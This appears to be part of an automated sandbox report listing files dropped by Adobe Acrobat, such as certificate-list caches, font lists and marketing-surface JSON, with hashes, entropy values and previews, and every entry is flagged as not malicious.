C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.756901573172974
Encrypted:	false
SSDEEP:	3:kkFklIph1fllXlE/HT8k8dzl/tNNX8RolJuRdxLlGB9lQRYwpDdt:kKR72T8jl7NMa8RdWBwRd
MD5:	DEEE24A8B70969906A32898543358CDC
SHA1:	37F8EB10A4CDEBD20CFA14F37B8B1F482BCA14E3
SHA-256:	6C5FF9CFBBFBAE4D873D4983ADEEF19049A1EC96217F50C6719907B0495822D7
SHA-512:	2D3B5670D460A5D8D02EB785D2DCEA7382F5596E0EF922B34761D727139D4C6F86245198C7FEDF05E0A7CB7387B8B8ECCDD98AEC5D9C8FD98FB3E5B8B0A3BFC1
Malicious:	false
Preview:	p...... ........{*..Xf..(....................................................... ..........W....Y...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.150184159866505
Encrypted:	false
SSDEEP:	6:kK39UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:ODnLNkPlE99SNxAhUe/3
MD5:	E52D45A9271C2D42B173235D20A87C2C
SHA1:	3AAC5B6E2EED49421EFACBE68020909F5B10D525
SHA-256:	B616AD1025DCDA6D67A89DB88705835F283996653EB38B713B3452F8F93590DD
SHA-512:	2F6FFA6B7F8645004CC6F7F3CCD0EEA75392A06A0D41BE8D60E399085A25B33E6FA0F979B07FC46164552CF2F4C1B55110D2D9115FDA49336E15F8ECD4A2843C
Malicious:	false
Preview:	p...... ............Xf..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2024

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2024

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.346086162970053
Encrypted:	false
SSDEEP:	6:YEQXJ2HXafIrVWnZiQ0YxyjeoAvJM3g98kUwPeUkwRe9:YvXKXafIrgcayjVGMbLUkee9
MD5:	9EBC3009AF09BAA729B970CCCCB6CEF0
SHA1:	AA804F7434FD16294A54F8C4B30E5B38B30CB8CC
SHA-256:	9B9E20AC24D2F30E4B47820E0BE703CAB53E85E8A4FF8CB388018B7E27E4590D
SHA-512:	91AEC9F0F9D5A53096AB11C99902F7E3A5DB899AD9D46C5D77A51656DC3C239E716C337A63D6990DCF3047E1A5CB82F56EABAC2105F373FEBD20997D58DFE8D0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7486fc51-bd19-4e4c-8397-09c5a4e4ad12","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737019965194,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.298298460738539
Encrypted:	false
SSDEEP:	6:YEQXJ2HXafIrVWnZiQ0YxyjeoAvJfBoTfXpnrPeUkwRe9:YvXKXafIrgcayjVGWTfXcUkee9
MD5:	1647A59852CD516DE62EEE030D576852
SHA1:	10510070A173C5452E1B5D88BDF8E9FAC695427E
SHA-256:	58FC91B93A2AFC39E83FD5B22819F023297F38FD8E583ACC35726A1F1C61CAD9
SHA-512:	CA97CD423123AC0AA680D058CC3DB988133037E62B283E7DBCC509716A4FD23B1C6CBFE6BE80F1FF2532E4C413F23706EDBAF52C01209617194F1191DC1FD0A3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7486fc51-bd19-4e4c-8397-09c5a4e4ad12","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737019965194,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.276437375483806
Encrypted:	false
SSDEEP:	6:YEQXJ2HXafIrVWnZiQ0YxyjeoAvJfBD2G6UpnrPeUkwRe9:YvXKXafIrgcayjVGR22cUkee9
MD5:	163513E238E8CEAE6936056744A5FB68
SHA1:	4DF195790DE1E90ABD4D077FFBAC0E4E84049A58
SHA-256:	46BB6E8D2C4712A46BE9DF806665125DA00453338DF777A8B39114FE66C24DB0
SHA-512:	0E00AFAA3549FC2A495A7DB4A3BCA521D0188EF2BE22EB7F160BEF15376B12674F3A119DADBCBCBF6516987279F218618323DDAFC2B1A6C00DC3F77AF5406DC4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7486fc51-bd19-4e4c-8397-09c5a4e4ad12","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737019965194,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.325502520270932
Encrypted:	false
SSDEEP:	6:YEQXJ2HXafIrVWnZiQ0YxyjeoAvJfPmwrPeUkwRe9:YvXKXafIrgcayjVGH56Ukee9
MD5:	445337175BCD988BFAF0F327334730D3
SHA1:	C0D6E6CFAB188B3E4CBB2EFE5674F7997D67BD3B
SHA-256:	7D230E40F37262C1682E9362F2753FC9460C81E99C44F523F11CBEE03810938C
SHA-512:	215F22C3E5177AB0CC91D097C602AA56DF908DE369551FE946EF217973B1262085027156847C14BB2CE83A9AB5DC256F707FD26E2A046090A20809E07755852F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7486fc51-bd19-4e4c-8397-09c5a4e4ad12","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737019965194,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687998679464907
Encrypted:	false
SSDEEP:	24:Yv6XDrVt6pLgE9cQx8LennAvzBvkn0RCmK8czOCCS32:YvgrX6hgy6SAFv5Ah8cv/G
MD5:	EBBBCD733F1EECF5673B24A02821E53A
SHA1:	B61BB756C338D80C7F5B2DEDF7E9D29030F63A1C
SHA-256:	409A8A309A31BF19EAA9E2524481DB85C9948F04C9F9B2EAB634158FCCFA4B1F
SHA-512:	DB1C57D2D0063B8215CDC2F429E3D9C4225CE2E7E5ED072CAD7D68D4BEBA9620CE9F1EB3B1FF16BF51556E3BF0A08C4D29B839FB575B3E33FCA1D2B3A0E87A23
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7486fc51-bd19-4e4c-8397-09c5a4e4ad12","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737019965194,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.274292783047068
Encrypted:	false
SSDEEP:	6:YEQXJ2HXafIrVWnZiQ0YxyjeoAvJf8dPeUkwRe9:YvXKXafIrgcayjVGU8Ukee9
MD5:	3C72F202615527A8249EF7BBC51E7FA4
SHA1:	74F3DB1EC9F50D6404B8661AAA933EE530F7EFF2
SHA-256:	968B9BFC68FA87F693CED743B73F07D99C825ED0742CCA07827F01ECD382858C
SHA-512:	0840DE7371EB42B955BFBFE2DBC3641AD6AF07E2D2ACAE49F0ED1218DE5869FB9B8151542D5DB2819022CC207B4C3B52C422A13E190679E39CA2A646C3F2DA36
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7486fc51-bd19-4e4c-8397-09c5a4e4ad12","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737019965194,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.277209150432563
Encrypted:	false
SSDEEP:	6:YEQXJ2HXafIrVWnZiQ0YxyjeoAvJfQ1rPeUkwRe9:YvXKXafIrgcayjVGY16Ukee9
MD5:	FA33A6E32A303574A8101FF788338036
SHA1:	76797B9711CDB99D8A519AFA4BFE200EA9E87415
SHA-256:	4730FC061D128FB2EB9B3106341F7907E2E34C031A840C6DFED8048AEEB56D26
SHA-512:	52746D7015FF15F68A4AA031CD2E2C81875ADC1ACC0F346DB06E4441709AC6915D9088DA63757388E331FE06B63AB3B74A1878AB2EABA8BCD8EFC7F2BCE48C91
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7486fc51-bd19-4e4c-8397-09c5a4e4ad12","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737019965194,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.285231769311409
Encrypted:	false
SSDEEP:	6:YEQXJ2HXafIrVWnZiQ0YxyjeoAvJfFldPeUkwRe9:YvXKXafIrgcayjVGz8Ukee9
MD5:	D9D2DF1924AB6CACDE9858E7DAA35824
SHA1:	E0025527E7FDF6A34E6E6E1FA800DCF1B7BEF152
SHA-256:	F8863E6DB3FD4F11F60A7D5081F59EA5782EA60AEC63B74B0D187C27ED645138
SHA-512:	15CB2010827FEA9B6C0C580D983670F0F3E191EC4FFB66D184AC787B099A7DFF650CB83118361127C4E6A1A5AC69B3DB51F63D918272C43D29D7B763AEF5A56F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7486fc51-bd19-4e4c-8397-09c5a4e4ad12","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737019965194,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.301937413135152
Encrypted:	false
SSDEEP:	6:YEQXJ2HXafIrVWnZiQ0YxyjeoAvJfzdPeUkwRe9:YvXKXafIrgcayjVGb8Ukee9
MD5:	C6D0891E0C13E862463BFBB5005ABCF8
SHA1:	CD95827B8B34239221902F3089B1660C7B1EC420
SHA-256:	A52E04803640C95C4F7E03CDFE7FE1DAF7CC3D46CC1D54104B9C854ABAB9AD79
SHA-512:	9612484E7DFF7DC242AD400CABC58B351FA3B621E77922EC7A31D8DA634518A7E2A4C3209B02DAB30F4ACEA9631BFED9B6B1EA30A05173F701F7BE50F7E33778
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7486fc51-bd19-4e4c-8397-09c5a4e4ad12","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737019965194,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.282219366127868
Encrypted:	false
SSDEEP:	6:YEQXJ2HXafIrVWnZiQ0YxyjeoAvJfYdPeUkwRe9:YvXKXafIrgcayjVGg8Ukee9
MD5:	7CF74DF2884C4B24D7672517C6819580
SHA1:	4EA556EBF2C757C6158F851DD4771E504D77EDF8
SHA-256:	1D28E1A1E44A7339B9D058F0A61442D3BB90C325F8FB7F5773541F8542FB24A9
SHA-512:	DB1AFA6F68DDC5456B48EBA0F18B363BDDDF80ED6E66E02C91CFC3EB6C9B5F3071A063964D1F97422CF9232B06A77D4EF96351B703CEA0408F730783657C7AB2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7486fc51-bd19-4e4c-8397-09c5a4e4ad12","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737019965194,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2682556905496485
Encrypted:	false
SSDEEP:	6:YEQXJ2HXafIrVWnZiQ0YxyjeoAvJf+dPeUkwRe9:YvXKXafIrgcayjVG28Ukee9
MD5:	4F450F5DA4845790D1EBF9ADFD73937F
SHA1:	4ED90EB82A5DF1D892E21EAD59009E73DB5B1A33
SHA-256:	B371EE8787F4AB7C55268016E495F853748860A7BA037912BFBDE26DF0CF21B6
